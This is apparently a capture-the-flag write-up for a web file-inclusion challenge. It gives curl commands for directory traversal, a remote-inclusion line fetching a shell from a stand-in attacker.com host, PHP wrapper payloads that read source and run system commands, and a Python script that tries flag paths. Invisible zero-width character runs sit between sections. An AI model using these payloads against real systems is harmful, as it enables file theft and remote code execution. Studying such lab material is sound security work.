local

Platform: web-kids20 | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2019-11-10 | Status: Solved Techniques: local_file_inclusion, remote_file_inclusion

Summary

LFI/RFI challenge. Despite the name "local", the flag hints at using remote file inclusion.

local — Web Kids 2.0

Description

LFI/RFI challenge. Despite the name "local", the flag hints at using remote file inclusion.

Analysis

The web application has a file inclusion vulnerability. The name "local" may be a red herring - the flag spbctf{REDACTED} indicates that the key technique is Remote File Inclusion or a combination of LFI/RFI.

Solution

Method 1: Simple LFI

 bash read-only • copy allowed Copy
# Read the flag directly
curl "https://2019-11-10-local.ctf.su/?file=../../../flag.txt"
curl "https://2019-11-10-local.ctf.su/?file=/flag.txt"
curl "https://2019-11-10-local.ctf.su/?page=flag"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Method 2: RFI (Remote File Inclusion)

If allow_url_include is enabled:

 bash read-only • copy allowed Copy
# Include a remote file
curl "https://2019-11-10-local.ctf.su/?file=http://attacker.com/shell.php"

Method 3: PHP Wrappers

 bash read-only • copy allowed Copy
# Read source code via php://filter
curl "https://2019-11-10-local.ctf.su/?file=php://filter/convert.base64-encode/resource=index.php"

# Execute code via data://
curl "https://2019-11-10-local.ctf.su/?file=data://text/plain,<?php system('ls -la'); ?>"

Typical paths to search for the flag:

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

/flag.txt
/flag
/home/flag.txt
/var/www/flag.txt
/var/www/html/flag.txt
../flag.txt
../../flag.txt
../../../flag.txt

Python script:

 python read-only • copy allowed Copy
#!/usr/bin/env python3
import requests

url = "https://2019-11-10-local.ctf.su/"

paths = [
    "/flag.txt",
    "/flag",
    "../flag.txt",
    "../../flag.txt",
    "../../../flag.txt",
    "/var/www/flag.txt",
    "/var/www/html/flag.txt",
]

for path in paths:
    r = requests.get(url, params={"file": path})
    if "spbctf" in r.text:
        print(f"Found at {path}: {r.text}")
        break

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍